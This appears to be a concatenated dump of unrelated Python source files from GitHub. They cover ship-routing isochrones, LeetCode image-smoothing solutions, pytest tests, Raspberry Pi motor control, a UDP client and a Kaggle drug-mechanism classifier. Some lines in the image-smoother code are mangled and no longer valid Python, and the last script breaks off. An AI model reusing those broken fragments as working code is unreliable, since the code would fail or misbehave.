meilleur_noeud_final, temps_total, liste_caps_fin\n\n def isochrone_methode(self):\n\n \"\"\" If it can, it finds the ship routing solution which minimises the travel \\\n time between two points with determinist ship dynamic and weather forcast. \\\n It returns the minimum time of trip, the list of heading used during the journey, \\\n the list of the final headings and the list of the nodes positions. \"\"\"\n\n temps_total = 0\n liste_point_passage = []\n liste_de_caps_solution = []\n arrive = False\n try:\n\n while (not arrive):\n self.isochrone_brouillon()\n liste_S, delta_S = self.secteur_liste()\n liste_S = self.associer_xij_a_S(liste_S, delta_S)\n self.nouvelle_isochrone_propre(liste_S)\n arrive, Top_noeud = self.isochrone_proche_arrivee()\n # pour chaque noeud Top faire simu jusqu'à isstateatdest et calculer temps pour discriminer le meilleur noeud\n # remonter les noeuds parents\n try:\n\n meilleur_noeud_final, temps_total, liste_caps_fin = self.aller_point_arrivee(Top_noeud)\n while meilleur_noeud_final.pere is not None:\n liste_point_passage.append([meilleur_noeud_final.lat, meilleur_noeud_final.lon])\n liste_de_caps_solution.append(meilleur_noeud_final.act)\n meilleur_noeud_final = meilleur_noeud_final.pere\n liste_point_passage.append([meilleur_noeud_final.lat, meilleur_noeud_final.lon])\n\n self.liste_positions = liste_point_passage[::-1]\n self.liste_positions.append(self.arr)\n self.liste_actions = liste_de_caps_solution[::-1]\n self.temps_transit = temps_total\n\n except IndexError:\n\n print('Pas de solution trouvée dans le temps imparti.\\nVeuillez raffiner vous paramètres de recherche.')\n self.temps_transit = None\n self.liste_actions = None\n liste_caps_fin = None\n self.liste_positions = None\n\n except IndexError:\n\n print('Pas de solution trouvée dans le temps imparti.\\nVeuillez raffiner vous paramètres de recherche.')\n self.temps_transit = None\n self.liste_actions = None\n liste_caps_fin = None\n self.liste_positions = None\n\n return self.temps_transit, self.liste_actions, liste_caps_fin, self.liste_positions\n\n def positions_to_states(self):\n\n \"\"\" Changes the list of nodes' position in a list of states. \"\"\"\n\n liste_states = []\n for i in range(len(self.liste_positions)):\n liste_states.append(np.array([i, self.liste_positions[i][0], self.liste_positions[i][1]]))\n return liste_states\n\n # condition arret temps depasse, recalculer heading finale, nombre de pas temps tout droit, faire visu de la trajectoire\n","repo_name":"rongrong1314/IBoat-PMCTS","sub_path":"code/isochrones/isochrones.py","file_name":"isochrones.py","file_ext":"py","file_size_in_byte":17806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"15610620151","text":"\"\"\"\n\n661. Image Smoother\nEasy\n\nAn image smoother is a filter of the size 3 x 3 that can be applied to each cell of an image by rounding down the average of the cell and the eight surrounding cells (i.e., the average of the nine cells in the blue smoother). If one or more of the surrounding cells of a cell is not present, we do not consider it in the average (i.e., the average of the four cells in the red smoother).\n\n\nGiven an m x n integer matrix img representing the grayscale of an image, return the image after applying the smoother on each cell of it.\n\n \n\nExample 1:\n\n\nInput: img = [[1,1,1],[1,0,1],[1,1,1]]\nOutput: [[0,0,0],[0,0,0],[0,0,0]]\nExplanation:\nFor the points (0,0), (0,2), (2,0), (2,2): floor(3/4) = floor(0.75) = 0\nFor the points (0,1), (1,0), (1,2), (2,1): floor(5/6) = floor(0.83333333) = 0\nFor the point (1,1): floor(8/9) = floor(0.88888889) = 0\nExample 2:\n\n\nInput: img = [[100,200,100],[200,50,200],[100,200,100]]\nOutput: [[137,141,137],[141,138,141],[137,141,137]]\nExplanation:\nFor the points (0,0), (0,2), (2,0), (2,2): floor((100+200+200+50)/4) = floor(137.5) = 137\nFor the points (0,1), (1,0), (1,2), (2,1): floor((200+200+50+200+100+100)/6) = floor(141.666667) = 141\nFor the point (1,1): floor((50+200+200+200+200+100+100+100+100)/9) = floor(138.888889) = 138\n \n\nConstraints:\n\nm == img.length\nn == img[i].length\n1 <= m, n <= 200\n0 <= img[i][j] <= 255\n\n\"\"\"\n\n\n# V0\nclass Solution:\n def imageSmoother(self, M):\n row, col = len(M), len(M[0])\n res = [[0]*col for i in range(row)]\n dirs = [[0,0],[0,1],[0,-1],[1,0],[-1,0],[1,1],[-1,-1],[-1,1],[1,-1]]\n # note we need to for looping row, col\n for i in range(row):\n for j in range(col):\n # and to below op for each i, j (row, col)\n temp = [M[i+m][j+n] for m,n in dirs if 0<=i+m=0 and i < rows and j >= 0 and j < cols\n row, col = 0, 0\n answer = copy(M)\n for row in range(rows):\n for col in range(cols):\n _sum, count = 0, 0\n for i in range(-1, 2):\n for j in range(-1, 2):\n if isValid(row + i, col + j):\n _sum += M[row + i][col + j]\n count += 1\n answer[row][col] = _sum / count\n return answer\n\n# V1''\n# https://leetcode.com/problems/image-smoother/solution/\n# IDEA : BRUTE FORCE \n# Time Complexity: O(N)\n# Space Complexity: O(N)\nclass Solution(object):\n def imageSmoother(self, M):\n R, C = len(M), len(M[0])\n ans = [[0] * C for _ in M]\n\n for r in range(R):\n for c in range(C):\n count = 0\n for nr in (r-1, r, r+1):\n for nc in (c-1, c, c+1):\n if 0 <= nr < R and 0 <= nc < C:\n ans[r][c] += M[nr][nc]\n count += 1\n ans[r][c] /= count\n return ans\n\n# V1'''\n# https://leetcode.com/problems/image-smoother/discuss/454951/Python3-simple-solution\nclass Solution:\n def imageSmoother(self, M: List[List[int]]) -> List[List[int]]:\n row, col = len(M), len(M[0])\n res = [[0]*col for i in range(row)]\n dirs = [[0,0],[0,1],[0,-1],[1,0],[-1,0],[1,1],[-1,-1],[-1,1],[1,-1]]\n for i in range(row):\n for j in range(col):\n temp = [M[i+m][j+n] for m,n in dirs if 0<=i+m= len(M) or j + c >= len(M[0]):\n continue\n total += M[i + r][j + c]\n count += 1\n new[i][j] = floor(total/count)\n return new\n\n# V2 \n# Time: O(m * n)\n# Space: O(1)\nclass Solution(object):\n def imageSmoother(self, M):\n \"\"\"\n :type M: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n def getGray(M, i, j):\n total, count = 0, 0.0\n for r in range(-1, 2):\n for c in range(-1, 2):\n ii, jj = i + r, j + c\n if 0 <= ii < len(M) and 0 <= jj < len(M[0]):\n total += M[ii][jj]\n count += 1.0\n return int(total / count)\n\n result = [[0 for _ in range(len(M[0]))] for _ in range(len(M))]\n for i in range(len(M)):\n for j in range(len(M[0])):\n result[i][j] = getGray(M, i, j)\n return result","repo_name":"yennanliu/CS_basics","sub_path":"leetcode_python/Array/image-smoother.py","file_name":"image-smoother.py","file_ext":"py","file_size_in_byte":7184,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"54"} +{"seq_id":"21892423762","text":"import json\r\nfrom mock import call\r\nimport os\r\n\r\nfrom feather.generators.build_data import (\r\n build_combinations,\r\n build_data,\r\n build_dictionary,\r\n build_replacements\r\n)\r\n\r\n\r\ndef test_that_build_data_builds_all(mocker):\r\n mock_build_dictionary = mocker.Mock()\r\n mock_build_combinations = mocker.Mock()\r\n mock_build_replacements = mocker.Mock()\r\n mock_build_map_data = mocker.Mock()\r\n\r\n mocker.patch(\r\n \"feather.generators.build_data.build_dictionary\",\r\n mock_build_dictionary)\r\n mocker.patch(\r\n \"feather.generators.build_data.build_combinations\",\r\n mock_build_combinations)\r\n mocker.patch(\r\n \"feather.generators.build_data.build_replacements\",\r\n mock_build_replacements)\r\n mocker.patch(\r\n \"feather.generators.build_data.build_map_data\",\r\n mock_build_map_data)\r\n\r\n build_data()\r\n\r\n mock_build_replacements.assert_called_once()\r\n mock_build_map_data.assert_called_once()\r\n\r\n mock_build_combinations.assert_has_calls([\r\n call(\r\n os.environ[\"FEATHER_MOVE_COMBINATIONS_FILE\"],\r\n os.environ[\"FEATHER_GENERATED_MOVE_COMBINATIONS_FILE\"]),\r\n call(\r\n os.environ[\"FEATHER_DIALOG_COMBINATIONS_FILE\"],\r\n os.environ[\"FEATHER_GENERATED_DIALOG_COMBINATIONS_FILE\"])])\r\n\r\n assert mock_build_dictionary.call_args_list[0].args == (\r\n [\"tests/mock_data/speech/hello.json\"],\r\n os.environ[\"FEATHER_GENERATED_DIALOG_FILE\"])\r\n\r\n assert set(mock_build_dictionary.call_args_list[1].args[0]) == set([\r\n \"tests/mock_data/action/action2.json\",\r\n \"tests/mock_data/action/action.json\"\r\n ])\r\n\r\n assert mock_build_dictionary.call_args_list[1].args[1] == \\\r\n os.environ[\"FEATHER_GENERATED_ACTION_FILE\"]\r\n\r\n\r\ndef test_that_build_data_builds_replacements(generated_folder):\r\n build_combinations.__globals__[\r\n \"generated_replacements_file\"] = \\\r\n \"tests/mock_data/generated/generated_replacements.json\"\r\n\r\n build_replacements()\r\n\r\n with open(\"tests/mock_data/generated/generated_replacements.json\", \"r\") as fp:\r\n replacements = json.load(fp)\r\n\r\n assert replacements == {\r\n \"telephone\": \"phone\",\r\n \"school\": \"university\",\r\n \"college\": \"university\",\r\n }\r\n\r\n\r\ndef test_that_build_data_builds_combinations(generated_folder):\r\n source_file = \"tests/mock_data/combinations.json\"\r\n dest_file = \"tests/mock_data/generated/combinations.json\"\r\n\r\n build_combinations(source_file, dest_file)\r\n\r\n with open(\"tests/mock_data/generated/combinations.json\", \"r\") as fp:\r\n combinations = json.load(fp)\r\n\r\n assert combinations == {\r\n \"combinations\": [\r\n \"get up to\",\r\n \"get up\",\r\n \"get to\",\r\n \"get\"\r\n ]\r\n }\r\n\r\n\r\ndef test_that_build_data_builds_dictionary(generated_folder):\r\n source_files = [\r\n \"tests/mock_data/action/action.json\",\r\n \"tests/mock_data/action/action2.json\"]\r\n dest_file = \"tests/mock_data/generated/actions.json\"\r\n\r\n build_dictionary(source_files, dest_file)\r\n\r\n with open(\"tests/mock_data/generated/actions.json\", \"r\") as fp:\r\n dictionary = json.load(fp)\r\n\r\n assert dictionary == {\r\n \"make action\": \"action\",\r\n \"do action\": \"action\",\r\n \"make second action\": \"action2\",\r\n \"do second action\": \"action2\"\r\n }\r\n","repo_name":"Mari0nV/Feather","sub_path":"tests/test_build_data.py","file_name":"test_build_data.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"73953860001","text":"\n############################################################################\n################## - Joseph Grimer 21 Jul 2016 ####################\n############################################################################\n\n'''\nthis is a story gutter... to take a fairytale, and gut it, knowing only ands, ors, ifs, and buts??\nideas:\n-\n'''\n\n#from vocabulary import * #importa all vocab vars\n\n\n### main function\n\ndef main():\n\n\tprint(\"Welcome to StoryGutter.\\n\")\n\n\tallWords = {} # dictionary\n\t\n\tparagraphs = story.split(\"\\n\")\n\tfor paragraph in paragraphs:\n\t\tsentences = paragraph.split(\".\")\n\t\tfor sentence in sentences:\n\t\t\tphrases = sentence.split(\",\")\n\t\t\tfor phrase in phrases:\n\t\t\t\twords = phrase.split(\" \")\n\t\t\t\tfor word in words:\n\t\t\t\t\tif word != \"\":\n\t\t\t\t\t\tif word not in allWords:\n\t\t\t\t\t\t\tallWords[word]=1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tallWords[word]+=1\n\t\n\tprint(allWords)\n\t\n\t'''\n\tmixedWords=[]\n\tfor i in range(0,30):\n\t\tmixedWords.append(oneOf(allWords))\n\tprint(\" \".join(mixedWords))\n\t'''\n\n\tprint(\"below\")\n\n### other functions\n\n##################### Tail ###########################################\n\n### simple seeding:\n\ndef aSeed():\n\tglobal seeds\n\tglobal lastSeed\n\tlastSeed += 1\n\tif lastSeed >= len(seeds):\n#\t\tprint(\"clocking\")\n\t\tlastSeed = 0\n\tseeds[lastSeed]+=59\n\treturn seeds[lastSeed]\n\ndef oneOf(ary): # uses aSeed, and returns a no... version -1\n\treturn ary[aSeed()%(len(ary)-1)]\n\nseeds = [] # string based randomiser setup\nlastSeed = -1\nseedStr = \"4eg567er5zzzp4j89ed7g6nl.ef7e58oy8ilfhogbu;/gp09d/[-9hje5sgh'4689=8se\"\n\n# Prepare Randomiser\nfor char in seedStr:\n\tseeds.append(ord(char))\n\n### globals?? ###\n\nstory=\"once upon a time there was a boy called John. John loved apples. One day, John found a red apple. John ate the red apple. John died.\"\n\n### run main\n\nmain()\n\n############ old functions ###########\n\n","repo_name":"joegrimer/joegrimer.github.io","sub_path":"wordy/Story Generator/Revision0/storyGut1.py","file_name":"storyGut1.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37531949386","text":"from hydra_python_core.doc_writer import HydraClassProp, HydraLink\nfrom typing import Union\n\n\nclass PropertyProcessor:\n def __init__(self, prop: Union[str, HydraLink], title: str, required: bool) -> None:\n self.prop = prop\n self.title = title\n self.required = required\n\n def generate(self):\n hydra_prop = HydraClassProp(\n prop=self.prop,\n title=self.title,\n read=False,\n write=False,\n required=self.required,\n )\n\n return hydra_prop\n","repo_name":"HTTP-APIs/hydra-openapi-parser","sub_path":"hydra_openapi_parser/hydra_openapi_parser_v2/processors/prop_processor.py","file_name":"prop_processor.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"10341448215","text":"\nimport RPi.GPIO as GPIO\n# , sys, threading, time, os\n\n# Pins 24, 26 Right Motor\n# Pins 19, 21 Left Motor\nL1 = 21\nL2 = 19\nR1 = 26\nR2 = 24\n\n# ======================================================================\n# General Functions\n#\n# init(). Initialises GPIO pins, switches motors and LEDs Off, etc\n\n\ndef init():\n\n global p, q, a, b\n\n GPIO.setwarnings(False)\n\n # use physical pin numbering\n GPIO.setmode(GPIO.BOARD)\n\n # use pwm on motor outputs so motors can be controlled\n GPIO.setup(L1, GPIO.OUT)\n p = GPIO.PWM(L1, 20)\n p.start(0)\n\n GPIO.setup(L2, GPIO.OUT)\n q = GPIO.PWM(L2, 20)\n q.start(0)\n\n GPIO.setup(R1, GPIO.OUT)\n a = GPIO.PWM(R1, 20)\n a.start(0)\n\n GPIO.setup(R2, GPIO.OUT)\n b = GPIO.PWM(R2, 20)\n b.start(0)\n\n# cleanup(). Sets all motors off and sets GPIO to standard values\n\n\ndef cleanup():\n\n stop()\n GPIO.cleanup()\n\n# End of General Functions\n# ======================================================================\n\n\n# ======================================================================\n# Motor Functions\n#\n# stop(): Stops both motors\n\n\ndef stop():\n\n p.ChangeDutyCycle(0)\n q.ChangeDutyCycle(0)\n a.ChangeDutyCycle(0)\n b.ChangeDutyCycle(0)\n\n# forward(speed): Sets both motors to move forward at speed. 0 <= speed <= 100\n\n\ndef forward(speed):\n\n p.ChangeDutyCycle(0)\n q.ChangeDutyCycle(speed)\n a.ChangeDutyCycle(0)\n b.ChangeDutyCycle(speed)\n q.ChangeFrequency(speed + 5)\n b.ChangeFrequency(speed + 5)\n\n# reverse(speed): Sets both motors to reverse at speed. 0 <= speed <= 100\n\n\ndef reverse(speed):\n\n p.ChangeDutyCycle(speed)\n q.ChangeDutyCycle(0)\n a.ChangeDutyCycle(speed)\n b.ChangeDutyCycle(0)\n p.ChangeFrequency(speed + 5)\n a.ChangeFrequency(speed + 5)\n\n\n# End of Motor Functions\n# ======================================================================\n\n# ======================================================================\n# __main__ Code\n# ======================================================================\n\nif __name__ == \"__main__\":\n print(\"\\n\\nThis file cannot be run directly. It is intended to be imported\\n\\n\")\nelse:\n print(\"\\n\\nImporting drive.py\")\n\n# End of __main__ Code\n# ======================================================================\n","repo_name":"robot-websockets/motor-controller","sub_path":"drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3478451221","text":"def plt_setup(width=8, height=6, borders='lb', fontsize=9):\n font = {\n 'family' : 'Roboto',\n 'weight' : 'light',\n 'size' : int(fontsize)\n }\n matplotlib.rc('font', **font)\n\n plt.figure(figsize=(float(width), float(height)))\n\n ax = plt.subplot(111)\n\n for b in ['left', 'right', 'top', 'bottom']:\n if b[0] in borders:\n ax.spines[b].set_visible(True)\n ax.spines[b].set_linewidth(.6)\n else:\n ax.spines[b].set_visible(False)\n\n ax.get_xaxis().tick_bottom()\n ax.get_yaxis().tick_left()\n","repo_name":"coppensj/copypasta_utils","sub_path":"python/plot_setup.py","file_name":"plot_setup.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73663401123","text":"import os\nimport glob\n\n\n# noinspection PyUnreachableCode\ndef read_config_file(file_path, _type='.yaml'):\n \"\"\"\n Read and decode the config file.\n\n :param file_path: The path to the config file.\n :param _type: The type of the file. Only yaml file supported. Other types raise Not\n :return: augmentation_dict - a dict containing all the transformations that need to be applied.\n The dictionaries are in the form:\n {\" : # The name will be used to format the output image name\n {'func': # The name of the transformation to be applied.\n 'params': # The dictionary of params to be passed to the function.\n # Must be in the form of : \n 'en': # Specify if the transformation shall be applied as a standalone. It can miss. In this case,\n the default is True\n }\n chain_list - a list containing all the transformation that need to be applied as a chain. The\n transformation are given as a name in the already defined augmentation_list\n :raises: NotImplementedError in case the chosen file type is not yaml\n \"\"\"\n if _type == '.txt':\n raise NotImplementedError(\"{} file handling not implemented\".format(_type))\n from CONFIG import CONFIG_DICT\n with open(file_path, 'rt') as config_file:\n for line in config_file.readlines():\n line_split = line.split(' ')\n param_dict = {}\n func = CONFIG_DICT[line_split[0]]['func']\n # noinspection PyPep8Naming\n PARAM_DICT = CONFIG_DICT[line_split[0]]\n for index, param in enumerate(line_split[1:]):\n dtype_ = PARAM_DICT['params'][index]['dtype']\n param_dict[PARAM_DICT['params'][index]['name']] = dtype_(param)\n augmentation_list.append({'func': func, 'params': param_dict, 'str_format': line_split[0]})\n elif _type == '.yaml' or _type == '.yml':\n import yaml\n from CONFIG import FUNC_MAPPING\n with open(file_path) as yaml_f:\n data = yaml.load(yaml_f)\n augmentation_dict = data['Transformations']\n chain_list = data['Chain_Transformation']\n for func_dict in augmentation_dict.values():\n try:\n func_dict['func'] = FUNC_MAPPING[func_dict['func'].lower()]\n except KeyError:\n raise KeyError(\"{} function is not valid or it couldn't be found\".format(func_dict['func']))\n else:\n if _type:\n raise NotImplementedError(\"{} file handling not implemented\".format(_type))\n else:\n raise Exception(\"Configuration file not selected\")\n return augmentation_dict, chain_list\n\n\ndef get_all_images(dir_path, img_format='jpeg', recurse=False):\n \"\"\"\n Get a list of all the desired images from a directory with or without recursion.\n\n :param dir_path: The path to the directory containing the images.\n :param img_format: The format of the image (jpg, gif, etc). Only works with single value at the moment.\n :param recurse: If the search should recurse in the sub directories or not\n :return: The list of all the images of the format given\n \"\"\"\n\n search_format = '{}*.{}'\n return glob.glob(os.path.join(dir_path, search_format.format('**/' if recurse else \"\", img_format)),\n recursive=recurse)\n\n","repo_name":"cVladu/FCV_Project1","sub_path":"FileHandler.py","file_name":"FileHandler.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"856540437","text":"from socket import *\n\n\ndef main():\n host = \"127.0.0.1\"\n port = 12000\n server = (host, port)\n conexao = socket(AF_INET, SOCK_DGRAM)\n conexao.bind((host, port))\n\n msg = input(\"#$: \")\n while msg == 'renato':\n conexao.sendto(msg.encode(), server)\n\n data, endereco = conexao.recvfrom(1024)\n\n print(\"Recebida ->\", str(data))\n\n msg = input(\"-> \")\n\n conexao.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"renatoRPv13/pythonUdp","sub_path":"venv/UDP_cliente.py","file_name":"UDP_cliente.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35700355156","text":"a = input('Введите целое положительное число: ')\r\n\r\na = str(a)\r\n\r\nl = len(a)\r\ni = 0\r\nsum = 0\r\ncom = 1\r\n\r\nfor n in a:\r\n if i == l:\r\n break\r\n n = int(n)\r\n sum = sum + n\r\n com = com * n\r\n i += 1\r\n\r\nprint(f'Сумма цифр числа: {sum}')\r\nprint(f'Произведение цифр числа: {com}')\r\n","repo_name":"Sequenator/PythonCourse","sub_path":"hw_C2.py","file_name":"hw_C2.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2472299695","text":"import numpy as np\nimport pandas as pd\nfrom keras import models\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.decomposition import PCA\nfrom keras import layers\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow import math\nimport tensorflow as tf\nfrom keras import backend\nfrom keras.layers import Dropout\n\n\ndef boolMasking(data, column, value):\n \n return data.loc[(data.loc[:, column] == value)]\n\n\ndef encoder(genome, batchSize, epochs, testMode=True):\n model = models.Sequential()\n model.add(layers.Dense(772, activation='relu', input_shape=(genome.shape[-1],)))\n\n model.add(layers.Dense(512, activation='relu'))\n model.add(layers.Dense(256, activation='relu'))\n model.add(layers.Dense(512, activation='relu'))\n\n model.add(layers.Dense(772, activation='sigmoid'))\n model.compile(optimizer='rmsprop',\n loss=\"mae\",\n metrics=[\"mse\"])\n\n if testMode:\n\n print(genome.std(axis=1).mean())\n\n trainX, testX, trainY, testY = train_test_split(genome, genome, train_size=0.75, shuffle=True)\n\n history = model.fit(genome, genome, batch_size=batchSize, epochs=epochs, validation_data=(testX, testY))\n\n return history.history\n\n\n else:\n\n model.fit(genome, genome, batch_size=batchSize, epochs=epochs)\n\n return model\n \ndef vEncoder(viability, batchSize, epochs, testMode=True):\n model = models.Sequential()\n model.add(layers.Dense(100, activation='relu', input_shape=(viability.shape[-1],)))\n\n model.add(layers.Dense(50, activation='relu'))\n model.add(layers.Dense(25, activation='relu'))\n model.add(layers.Dense(50, activation='relu'))\n\n model.add(layers.Dense(100, activation='sigmoid'))\n model.compile(optimizer='rmsprop',\n loss=\"mae\",\n metrics=[\"mse\"])\n\n if testMode:\n\n print(viability.std(axis=1).mean())\n\n trainX, testX, trainY, testY = train_test_split(viability, viability, train_size=0.75, shuffle=True)\n\n history = model.fit(viability, viability, batch_size=batchSize, epochs=epochs, validation_data=(testX, testY))\n\n return history.history\n\n\n else:\n\n model.fit(viability, viability, batch_size=batchSize, epochs=epochs)\n\n return model\n\n\n\n\ndef viabilityPreprocessing(genome, viability, nodes, hiddenLayers, batchSize, epochs, genomePCA, viaPCA, testMode=True):\n\n\n ss = StandardScaler()\n\n\n genome = genomePCA.transform(genome)\n \n v = viability.mean(axis=1)\n \n v = v.to_numpy().reshape(-1, 1)\n\n viability = viaPCA.transform(viability)\n \n #genome = np.append(genome, v, axis=1)\n\n model = models.Sequential()\n model.add(layers.Dense(nodes, activation='relu', input_shape=(len(genome[0, :]),)))\n\n for n in range(hiddenLayers):\n model.add(layers.Dense(nodes, activation='relu'))\n model.add(Dropout(0.2))\n\n model.add(layers.Dense(viability.shape[-1], activation='sigmoid'))\n model.compile(optimizer='rmsprop',\n loss='mse',\n metrics=[\"mae\"])\n\n\n if testMode:\n\n genome = ss.fit_transform(genome)\n \n print(viability.std(axis=1).mean())\n\n trainX, testX, trainY, testY = train_test_split(genome, viability, train_size=0.75, shuffle=True)\n\n history = model.fit(trainX, trainY, batch_size=batchSize, epochs=epochs, validation_data=(testX, testY))\n\n return (history.history, ss)\n\n\n else:\n\n genome = ss.fit_transform(genome)\n\n model.fit(genome, viability, batch_size=batchSize, epochs=epochs)\n\n return (model, ss)\n\n\n\n\n\ndef dataPreprocessing(genome, viability, otherData, genomePCA, viaPCA, ppModel, ppScaler, OHE = None):\n \n if OHE is None:\n \n ohe = OneHotEncoder()\n \n else:\n \n ohe = OHE\n\n genome = genomePCA.transform(genome)\n \n v = viability.mean(axis=1)\n\n viability = viaPCA.transform(viability)\n \n v = v.to_numpy().reshape(-1, 1)\n \n #genome = np.append(genome, v, axis=1)\n \n #num = len(genome[0, :])\n \n #v = v.repeat(num, axis=1)\n \n #genome = genome * v\n \n \n genome = ppScaler.transform(genome)\n\n prediction = ppModel.predict(genome)\n\n viability = viability - prediction\n\n time = otherData.loc[:, \"cp_time\"]\n\n time = time.to_numpy().reshape(-1, 1)\n\n otherData =otherData.drop(\"cp_time\", axis=1)\n \n \n if OHE is None:\n \n otherData = ohe.fit_transform(otherData).toarray()\n\n trainData = np.append(genome, viability, axis=1)\n \n trainData = np.append(trainData, time, axis=1)\n \n trainData = np.append(trainData, otherData, axis=1)\n\n return (trainData, ohe)\n \n \n else:\n\n otherData = ohe.transform(otherData).toarray()\n\n trainData = np.append(genome, viability, axis=1)\n \n trainData = np.append(trainData, time, axis=1)\n \n trainData = np.append(trainData, otherData, axis=1)\n \n return trainData\n\n\n\n\n\ndef classifier(trainData, molecular, nodes, hiddenLayers, batchSize, epochs, testMode=True):\n \n def logloss(y_true, y_pred):\n y_pred = tf.clip_by_value(y_pred,p_min,p_max)\n return -backend.mean(y_true*backend.log(y_pred) + (1-y_true)*backend.log(1-y_pred))\n \n p_min = 0.001\n p_max = 0.999\n \n Loss = tf.keras.losses.BinaryCrossentropy(from_logits=False, label_smoothing=0.001,\n reduction=\"auto\", name=\"binary_crossentropy\")\n\n\n ss = StandardScaler()\n\n model = models.Sequential()\n model.add(layers.Dense(nodes, activation='relu', input_shape=(trainData.shape[-1],)))\n\n for n in range(hiddenLayers):\n model.add(layers.Dense(nodes, activation='relu'))\n model.add(Dropout(0.2))\n\n model.add(layers.Dense(molecular.shape[-1], activation='sigmoid'))\n model.compile(optimizer='rmsprop',\n loss=Loss,\n metrics=logloss)\n\n molecular = molecular.to_numpy()\n\n if testMode:\n \n \n\n\n trainData = ss.fit_transform(trainData)\n \n print(trainData.shape)\n\n trainX, testX, trainY, testY = train_test_split(trainData, molecular, train_size=0.75, shuffle=True)\n\n history = model.fit(trainX, trainY, batch_size=batchSize, epochs=epochs, validation_data=(testX, testY))\n\n return (history.history, ss)\n\n\n else:\n\n trainData = ss.fit_transform(trainData)\n\n model.fit(trainData, molecular, batch_size=batchSize, epochs=epochs)\n\n return (model, ss)\n\n\n\ntrainData = pd.read_csv(\"/kaggle/input/lish-moa/train_features.csv\")\ntrainData2 = pd.read_csv(\"/kaggle/input/lish-moa/train_targets_scored.csv\")\ntestData = pd.read_csv(\"/kaggle/input/lish-moa/test_features.csv\")\nsub = pd.read_csv(\"/kaggle/input/lish-moa/sample_submission.csv\")\n\nprint(\"data received.\")\n\ncolumns = trainData.columns\n\nsubId = sub.loc[:, \"sig_id\"]\n\ngCol = list()\ncCol = list()\n\nfor column in columns:\n\n if column[:2] == \"g-\":\n\n gCol.append(column)\n\n\n elif column[:2] == \"c-\":\n\n cCol.append(column)\n\ntrainData = pd.merge(trainData, trainData2, on=\"sig_id\")\n\nmolecular = trainData2.drop(\"sig_id\", axis=1)\n\nmolCol = molecular.columns\n\ntotalGenome = trainData.loc[:, gCol]\n\ntotalViability = trainData.loc[:, cCol]\n\nproprocessingData = boolMasking(trainData, \"cp_type\", \"ctl_vehicle\")\n\ntrainingData = boolMasking(trainData, \"cp_type\", \"trt_cp\")\n\ngenome = proprocessingData.loc[:, gCol]\nviability = proprocessingData.loc[:, cCol]\n\ngenome2 = trainingData.loc[:, gCol]\nviability2 = trainingData.loc[:, cCol]\nmolecular2 = trainingData.loc[:, molCol]\n\ngPCA = PCA(n_components=400)\nvPCA = PCA(n_components=10)\n\n\nVEncoder = vEncoder(totalViability, batchSize=100, epochs=50, testMode=False)\n\n\nEncoder = encoder(totalGenome, batchSize=100, epochs=50, testMode=False)\n\ngPCA.fit(totalGenome - Encoder.predict(totalGenome))\n\nvPCA.fit(totalViability - VEncoder.predict(totalViability))\n\ngenome = genome - Encoder.predict(genome)\n\ngenome2 = genome2 - Encoder.predict(genome2)\n\n\nviability = viability - VEncoder.predict(viability)\n\nviability2 = viability2 - VEncoder.predict(viability2)\n\n\n\nvPCA.fit(totalViability)\n\n\npreModel, preSS = viabilityPreprocessing(genome, viability, nodes=2048, hiddenLayers=2, batchSize=10, epochs=20, \n genomePCA=gPCA, viaPCA=vPCA, testMode=False)\n\notherData = trainingData.loc[:, [\"cp_time\", \"cp_dose\"]]\n\ntrainingData, OHE = dataPreprocessing(genome2, viability2, otherData, gPCA, vPCA, preModel,preSS, OHE = None)\n\nclassModel, classSS = classifier(trainingData, molecular2, nodes=4096, hiddenLayers=4, batchSize=100, epochs=10, testMode=False)\n\n\n#Prediction Part\n\npreprocessingData = boolMasking(testData, \"cp_type\", \"ctl_vehicle\")\n\ntestData = boolMasking(testData, \"cp_type\", \"trt_cp\")\n\ngenome = preprocessingData.loc[:, gCol]\nviability = preprocessingData.loc[:, cCol]\n\notherID = preprocessingData.loc[:, \"sig_id\"]\n\ngenome2 = testData.loc[:, gCol]\nviability2 = testData.loc[:, cCol]\n\nsp_id = testData.loc[:, \"sig_id\"]\n\notherData2 = testData.loc[:, [\"cp_time\", \"cp_dose\"]]\n\ngenome2 = genome2 - Encoder.predict(genome2)\n\ntestingData = dataPreprocessing(genome2, viability2, otherData2, gPCA, vPCA, preModel, preSS, OHE = OHE)\n\ntestingData = classSS.transform(testingData)\n\nprint(\"prediction\")\n\nresults = classModel.predict(testingData)\n\n\nsigID = testData.loc[:, \"sig_id\"]\n\nprint(\"saving\")\n\notherID = otherID.to_frame()\n\nfor mol in molCol:\n otherID[mol] = 0\n\n\n\nresults = pd.DataFrame(results, index=sigID, columns=molCol)\n\nresults = results.reset_index()\n\nresults = results.append(otherID)\n\nresults = results.set_index(\"sig_id\")\n\nresults = results.where(results < 1, 1)\n\nresults = results.where(results > 0, 0)\n\nresults = results.loc[subId, :]\n\nresults = 